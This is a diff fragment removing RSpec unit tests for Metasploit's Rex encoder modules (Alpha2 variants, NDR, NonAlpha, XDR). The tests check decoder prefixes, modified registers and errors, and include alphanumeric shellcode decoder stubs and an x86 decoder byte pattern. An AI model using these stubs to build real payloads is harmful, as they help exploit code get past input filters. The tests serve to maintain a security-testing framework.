||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject(:decoder) { described_class.gen_decoder(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns the alpha upper decoder" do
|
||||
is_expected.to include(decoder_stub)
|
||||
end
|
||||
|
||||
it "uses the correct decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 32" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 33 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EAX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||
end
|
||||
|
||||
it "marks ESP as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,296 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/alpha2/alpha_upper'
|
||||
|
||||
RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do
|
||||
|
||||
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
|
||||
|
||||
let(:decoder_stub) do
|
||||
"VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI"
|
||||
end
|
||||
|
||||
let(:reg_signature) do
|
||||
{
|
||||
'EAX' => 'PY',
|
||||
'ECX' => 'I',
|
||||
'EDX' => 'RY',
|
||||
'EBX' => 'SY',
|
||||
'ESP' => 'TY',
|
||||
'EBP' => 'UY',
|
||||
'ESI' => 'VY',
|
||||
'EDI' => 'WY'
|
||||
}
|
||||
end
|
||||
|
||||
describe ".default_accepted_chars" do
|
||||
subject { described_class.default_accepted_chars }
|
||||
|
||||
it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) }
|
||||
end
|
||||
|
||||
describe ".gen_decoder_prefix" do
|
||||
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 20" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 25 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers is passed" do
|
||||
context "when reg is ECX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when reg is EDX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject(:decoder) { described_class.gen_decoder(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns the alpha upper decoder" do
|
||||
is_expected.to include(decoder_stub)
|
||||
end
|
||||
|
||||
it "uses the correct decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 20" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 25 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks ESI as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESI)
|
||||
end
|
||||
|
||||
it "marks EAX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||
end
|
||||
|
||||
it "marks ESP as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,42 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/alpha2/generic'
|
||||
|
||||
RSpec.describe Rex::Encoder::Alpha2::Generic do
|
||||
|
||||
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
|
||||
|
||||
describe ".default_accepted_chars" do
|
||||
subject(:accepted_chars) { described_class.default_accepted_chars }
|
||||
|
||||
it { is_expected.to eq(('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a) }
|
||||
end
|
||||
|
||||
describe ".gen_decoder_prefix" do
|
||||
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it { is_expected.to eq('') }
|
||||
end
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject(:decoder) { described_class.gen_decoder(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it { is_expected.to eq('') }
|
||||
end
|
||||
|
||||
describe ".gen_second" do
|
||||
subject(:second) { described_class.gen_second(block, base) }
|
||||
let(:block) { 0xaf }
|
||||
let(:base) { 0xfa }
|
||||
|
||||
it "returns block ^ base" do
|
||||
expect(second ^ base).to eq(block)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,88 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/alpha2/unicode_mixed'
|
||||
|
||||
RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do
|
||||
|
||||
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
|
||||
|
||||
let(:decoder_stub) do
|
||||
"jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
|
||||
end
|
||||
|
||||
let(:reg_signature) do
|
||||
{
|
||||
'EAX' => 'PPYA',
|
||||
'ECX' => '4444',
|
||||
'EDX' => 'RRYA',
|
||||
'EBX' => 'SSYA',
|
||||
'ESP' => 'TUYA',
|
||||
'EBP' => 'UUYAs',
|
||||
'ESI' => 'VVYA',
|
||||
'EDI' => 'WWYA'
|
||||
}
|
||||
end
|
||||
|
||||
describe ".gen_decoder_prefix" do
|
||||
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 21" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 22 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject(:decoder) { described_class.gen_decoder(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns the alpha upper decoder" do
|
||||
is_expected.to include(decoder_stub)
|
||||
end
|
||||
|
||||
it "uses the correct decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 21" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 22 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,94 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/alpha2/unicode_upper'
|
||||
|
||||
RSpec.describe Rex::Encoder::Alpha2::UnicodeUpper do
|
||||
|
||||
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
|
||||
|
||||
let(:decoder_stub) do
|
||||
"QATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"
|
||||
end
|
||||
|
||||
let(:reg_signature) do
|
||||
{
|
||||
'EAX' => 'PPYA',
|
||||
'ECX' => '4444',
|
||||
'EDX' => 'RRYA',
|
||||
'EBX' => 'SSYA',
|
||||
'ESP' => 'TUYA',
|
||||
'EBP' => 'UUYA',
|
||||
'ESI' => 'VVYA',
|
||||
'EDI' => 'WWYA'
|
||||
}
|
||||
end
|
||||
|
||||
describe ".default_accepted_chars" do
|
||||
subject(:accepted_chars) { described_class.default_accepted_chars }
|
||||
|
||||
it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) }
|
||||
end
|
||||
|
||||
describe ".gen_decoder_prefix" do
|
||||
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect(decoder_prefix).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 6" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 7 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject(:decoder) { described_class.gen_decoder(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns the alpha upper decoder" do
|
||||
is_expected.to include(decoder_stub)
|
||||
end
|
||||
|
||||
it "uses the correct decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 6" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 7 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,169 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/ndr'
|
||||
|
||||
RSpec.describe Rex::Encoder::NDR do
|
||||
|
||||
describe ".align" do
|
||||
subject { described_class.align(string) }
|
||||
|
||||
context "when empty string argument" do
|
||||
let(:string) { "" }
|
||||
it { is_expected.to eq("") }
|
||||
end
|
||||
|
||||
context "when 32bit aligned length argument" do
|
||||
let(:string) { "A" * 4 }
|
||||
it { is_expected.to eq("") }
|
||||
end
|
||||
|
||||
context "when 32bit unaligned length argument" do
|
||||
let(:string) { "A" * 5 }
|
||||
it "returns the padding, as null bytes, necessary to 32bit align the argument" do
|
||||
is_expected.to eq("\x00\x00\x00")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".long" do
|
||||
subject { described_class.long(string) }
|
||||
let(:string) { 0x41424344 }
|
||||
|
||||
it "encodes the arguments as 32-bit little-endian unsigned integer" do
|
||||
is_expected.to eq("\x44\x43\x42\x41")
|
||||
end
|
||||
|
||||
context "when argument bigger than 32-bit unsigned integer" do
|
||||
let(:string) { 0x4142434445 }
|
||||
it "truncates the argument" do
|
||||
is_expected.to eq("\x45\x44\x43\x42")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".short" do
|
||||
subject { described_class.short(string) }
|
||||
let(:string) { 0x4142 }
|
||||
|
||||
it "encodes the arguments as 16-bit little-endian unsigned integer" do
|
||||
is_expected.to eq("\x42\x41")
|
||||
end
|
||||
|
||||
context "when argument bigger than 16-bit unsigned integer" do
|
||||
let(:string) { 0x41424344 }
|
||||
it "truncates the argument" do
|
||||
is_expected.to eq("\x44\x43")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe ".byte" do
|
||||
subject { described_class.byte(string) }
|
||||
let(:string) { 0x41 }
|
||||
|
||||
it "encodes the arguments as 8-bit unsigned integer" do
|
||||
is_expected.to eq("\x41")
|
||||
end
|
||||
|
||||
context "when argument bigger than 8-bit unsigned integer" do
|
||||
let(:string) { 0x4142 }
|
||||
it "truncates the argument" do
|
||||
is_expected.to eq("\x42")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe ".UniConformantArray" do
|
||||
subject { described_class.UniConformantArray(string) }
|
||||
let(:string) { "ABCDE" }
|
||||
|
||||
it "returns the encoded string" do
|
||||
is_expected.to be_kind_of(String)
|
||||
end
|
||||
|
||||
it "starts encoding the string length as 32-bit little-endian unsigned integer" do
|
||||
expect(subject.unpack("V").first).to eq(string.length)
|
||||
end
|
||||
|
||||
it "adds the string argument" do
|
||||
is_expected.to include(string)
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 3)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".string" do
|
||||
subject { described_class.string(string) }
|
||||
let(:string) { "ABCD" }
|
||||
|
||||
it "returns the encoded string" do
|
||||
is_expected.to be_kind_of(String)
|
||||
expect(subject.length).to eq(20)
|
||||
end
|
||||
|
||||
it "starts encoding string metadata" do
|
||||
expect(subject.unpack("VVV")[0]).to eq(string.length)
|
||||
expect(subject.unpack("VVV")[1]).to eq(0)
|
||||
expect(subject.unpack("VVV")[2]).to eq(string.length)
|
||||
end
|
||||
|
||||
it "adds the string argument null-byte terminated" do
|
||||
is_expected.to include("ABCD\x00")
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 3)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".wstring" do
|
||||
subject { described_class.wstring(string) }
|
||||
|
||||
it_behaves_like "Rex::Encoder::NDR.wstring"
|
||||
end
|
||||
|
||||
describe ".UnicodeConformantVaryingString" do
|
||||
subject { described_class.UnicodeConformantVaryingString(string) }
|
||||
|
||||
it_behaves_like "Rex::Encoder::NDR.wstring"
|
||||
end
|
||||
|
||||
describe ".uwstring" do
|
||||
subject { described_class.uwstring(string) }
|
||||
|
||||
let(:string) { "ABCD" }
|
||||
|
||||
it "encodes the argument as null-terminated unicode string" do
|
||||
is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00")
|
||||
end
|
||||
|
||||
it "starts encoding string metadata" do
|
||||
expect(subject.unpack("VVVV")[1]).to eq(string.length + 1)
|
||||
expect(subject.unpack("VVVV")[2]).to eq(0)
|
||||
expect(subject.unpack("VVVV")[3]).to eq(string.length + 1)
|
||||
end
|
||||
|
||||
it "ends with padding to make result length 32-bits aligned" do
|
||||
is_expected.to end_with("\x00" * 2)
|
||||
expect(subject.length).to eq(28)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".wstring_prebuilt" do
|
||||
subject { described_class.wstring_prebuilt(string) }
|
||||
|
||||
it_behaves_like "Rex::Encoder::NDR.wstring_prebuild"
|
||||
end
|
||||
|
||||
describe ".UnicodeConformantVaryingStringPreBuilt" do
|
||||
subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) }
|
||||
|
||||
it_behaves_like "Rex::Encoder::NDR.wstring_prebuild"
|
||||
end
|
||||
|
||||
end
|
|
@ -1,142 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/nonalpha'
|
||||
|
||||
RSpec.describe Rex::Encoder::NonAlpha do
|
||||
|
||||
let(:decoder) do
|
||||
dec = "\x66\xB9\xFF\xFF" +
|
||||
"\xEB\x19" +
|
||||
"\\\x5E" +
|
||||
"\x8B\xFE" +
|
||||
"\x83\xC7" + "." +
|
||||
"\x8B\xD7" +
|
||||
"\x3B\xF2" +
|
||||
"\\\x7D\x0B" +
|
||||
"\xB0\\\x7B" +
|
||||
"\xF2\xAE" +
|
||||
"\xFF\xCF" +
|
||||
"\xAC" +
|
||||
"\\\x28\x07" +
|
||||
"\xEB\xF1" +
|
||||
"\xEB" + "." +
|
||||
"\xE8\xE2\xFF\xFF\xFF"
|
||||
Regexp.new(dec)
|
||||
end
|
||||
|
||||
describe ".gen_decoder" do
|
||||
subject { described_class.gen_decoder }
|
||||
|
||||
it "returns an String" do
|
||||
is_expected.to be_kind_of(String)
|
||||
end
|
||||
|
||||
it "returns the decoder code" do
|
||||
is_expected.to match(decoder)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".encode_byte" do
|
||||
subject { described_class.encode_byte(block, table, tablelen) }
|
||||
|
||||
context "when tablelen > 255" do
|
||||
let(:block) { 0x20 }
|
||||
let(:table) { "" }
|
||||
let(:tablelen) { 256 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { subject }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block == 0x7b" do
|
||||
let(:block) { 0x7b }
|
||||
let(:table) { "" }
|
||||
let(:tablelen) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { subject }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block is an upcase letter char code" do
|
||||
let(:block) { 0x42 }
|
||||
let(:table) { "" }
|
||||
let(:tablelen) { 0 }
|
||||
|
||||
it "returns an Array" do
|
||||
is_expected.to be_kind_of(Array)
|
||||
end
|
||||
|
||||
it "returns a 3 fields Array" do
|
||||
expect(subject.length).to eq(3)
|
||||
end
|
||||
|
||||
it "returns '{' char as block" do
|
||||
expect(subject[0]).to eq('{')
|
||||
end
|
||||
|
||||
it "appends offset to table" do
|
||||
expect(subject[1]).to eq((0x7b - block).chr)
|
||||
end
|
||||
|
||||
it "increments tablelen" do
|
||||
expect(subject[2]).to eq(tablelen + 1)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block is a downcase letter char code" do
|
||||
let(:block) { 0x62 }
|
||||
let(:table) { "" }
|
||||
let(:tablelen) { 0 }
|
||||
|
||||
it "returns an Array" do
|
||||
is_expected.to be_kind_of(Array)
|
||||
end
|
||||
|
||||
it "returns a 3 fields Array" do
|
||||
expect(subject.length).to eq(3)
|
||||
end
|
||||
|
||||
it "returns '{' char as block" do
|
||||
expect(subject[0]).to eq('{')
|
||||
end
|
||||
|
||||
it "appends offset to table" do
|
||||
expect(subject[1]).to eq((0x7b - block).chr)
|
||||
end
|
||||
|
||||
it "increments tablelen" do
|
||||
expect(subject[2]).to eq(tablelen + 1)
|
||||
end
|
||||
end
|
||||
|
||||
context "when block is another char code" do
|
||||
let(:block) { 0x7c }
|
||||
let(:table) { "" }
|
||||
let(:tablelen) { 0 }
|
||||
|
||||
it "returns an Array" do
|
||||
is_expected.to be_kind_of(Array)
|
||||
end
|
||||
|
||||
it "returns a 3 fields Array" do
|
||||
expect(subject.length).to eq(3)
|
||||
end
|
||||
|
||||
it "returns same block char code" do
|
||||
expect(subject[0]).to eq(block.chr)
|
||||
end
|
||||
|
||||
it "doesn't modify table" do
|
||||
expect(subject[1]).to eq(table)
|
||||
end
|
||||
|
||||
it "doesn't modify tablelen" do
|
||||
expect(subject[2]).to eq(tablelen)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,279 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/xdr'
|
||||
|
||||
RSpec.describe Rex::Encoder::XDR do
|
||||
|
||||
describe ".encode_int" do
|
||||
subject(:encoded_int) { described_class.encode_int(int) }
|
||||
